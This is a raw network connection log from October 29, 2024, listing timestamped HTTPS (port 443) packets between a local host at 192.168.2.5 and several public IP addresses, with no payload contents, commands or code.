Oct 29, 2024 06:59:30.761332989 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.761409044 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.761552095 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.761563063 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.761584997 CET	49843	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.761590958 CET	443	49843	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.761738062 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.761758089 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.761830091 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.761997938 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.762008905 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.763989925 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.764024973 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.764113903 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.764257908 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.764276028 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.803081036 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.803702116 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.803725004 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.804160118 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.804164886 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.806468010 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.806813002 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.806838036 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.807209969 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.807216883 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.814981937 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.815078974 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.815215111 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.815656900 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.815665960 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.815680027 CET	49842	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.815684080 CET	443	49842	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.818741083 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.818756104 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.818809986 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.818979979 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.818990946 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.822148085 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:30.822561026 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:30.822590113 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:30.823513985 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:30.823577881 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:30.824620962 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:30.824673891 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:30.824847937 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:30.824860096 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:30.882431984 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.882956028 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.882967949 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.883909941 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.883985043 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.887278080 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.887346029 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.887774944 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.887780905 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.888376951 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.888683081 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.888698101 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.888731956 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.889154911 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.889190912 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.889213085 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.889240980 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.889312983 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.889329910 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.889420986 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.889429092 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.890213013 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.890285969 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.890635014 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.890705109 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.890737057 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.890753031 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.890763044 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.890783072 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.890839100 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.890861034 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.890916109 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.891294956 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.891391039 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.891530991 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.891866922 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.891942024 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.892328978 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.892414093 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.892611027 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.892616987 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.892815113 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.892823935 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.893487930 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.893738031 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.893744946 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.894860029 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.895181894 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.895297050 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:30.895301104 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.895378113 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.906572104 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:30.923194885 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.923506975 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.923520088 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.923862934 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.924146891 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.924210072 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.924323082 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.924323082 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:30.924340010 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:30.931366920 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.931741953 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.931916952 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.931977034 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.932132959 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.932142019 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.932152987 CET	49848	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.932157993 CET	443	49848	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.935343027 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:30.935981989 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.936017990 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.936080933 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.936325073 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.936345100 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.937973976 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.938113928 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.938165903 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.938199043 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.938199043 CET	49847	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.938214064 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.938224077 CET	443	49847	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.943049908 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.943064928 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:30.943164110 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.943294048 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:30.943305969 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.003165960 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.018733025 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.018748045 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.018831015 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.018836021 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.018851042 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.018896103 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.018929005 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.018944025 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.018954992 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.019017935 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.019025087 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.019074917 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.019144058 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.019280910 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.019289017 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.020476103 CET	49853	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.020517111 CET	443	49853	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.020895004 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.020909071 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.020973921 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.021559954 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.021569014 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.021806002 CET	49855	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.021838903 CET	443	49855	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022321939 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022346973 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.022382975 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022389889 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.022396088 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022459984 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022479057 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.022495031 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.022716999 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.022793055 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022862911 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.022869110 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.022907972 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.024080992 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.024111032 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.025562048 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.025587082 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.025685072 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.025978088 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.025985956 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.026309967 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.026325941 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.026340961 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.026669979 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.026678085 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.033809900 CET	49850	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.033827066 CET	443	49850	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.034189939 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.034219980 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.034295082 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.035849094 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.035864115 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.036170006 CET	49852	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.036175013 CET	443	49852	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.041546106 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.041817904 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.042006016 CET	49846	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.042025089 CET	443	49846	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.054158926 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.054172993 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.054311991 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.054548025 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.054559946 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.097795963 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.097815037 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.097836971 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.124500036 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124530077 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124541044 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124568939 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124583006 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124593973 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124597073 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.124622107 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.124648094 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.124670982 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.139650106 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139713049 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139734030 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139753103 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139786959 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.139795065 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139812946 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.139837027 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139849901 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.139883995 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.139895916 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.139952898 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.146370888 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146392107 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146409035 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146437883 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.146451950 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146486998 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146501064 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.146506071 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146528006 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146544933 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.146576881 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.146737099 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.146794081 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.150847912 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.150857925 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.150881052 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.150891066 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.150912046 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.150918007 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.150929928 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.150948048 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.150975943 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.151510954 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.151583910 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.219362020 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219388962 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219396114 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219432116 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219440937 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219450951 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219465971 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.219490051 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219525099 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.219528913 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.219563007 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.221541882 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221549988 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221586943 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221596003 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221601963 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221617937 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221636057 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.221647978 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.221678972 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.221678972 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.242434025 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.242444992 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.242468119 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.242505074 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.242515087 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.242536068 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.242549896 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.242583990 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.258341074 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.258368015 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.258420944 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.258466959 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.258471012 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.258555889 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.258613110 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.258755922 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.258761883 CET	443	49854	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.258781910 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.258815050 CET	49854	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.268059969 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.268080950 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.268137932 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.268143892 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.268188953 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.268194914 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.269402981 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.269490004 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.271672964 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.271696091 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.271739960 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.271744967 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.271774054 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.271791935 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.274812937 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.275069952 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.275083065 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.276237011 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.276820898 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.276973009 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.276992083 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.301990986 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.302216053 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.302225113 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.303364038 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.303730011 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.303880930 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.303900957 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.336579084 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.336594105 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.336623907 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.336694002 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.336694002 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.336709976 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338016987 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338025093 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338049889 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338059902 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338069916 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338078022 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.338090897 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338105917 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.338131905 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.338133097 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.339850903 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.339859009 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.339869022 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.339881897 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.339907885 CET	49849	443	192.168.2.5	104.40.82.182
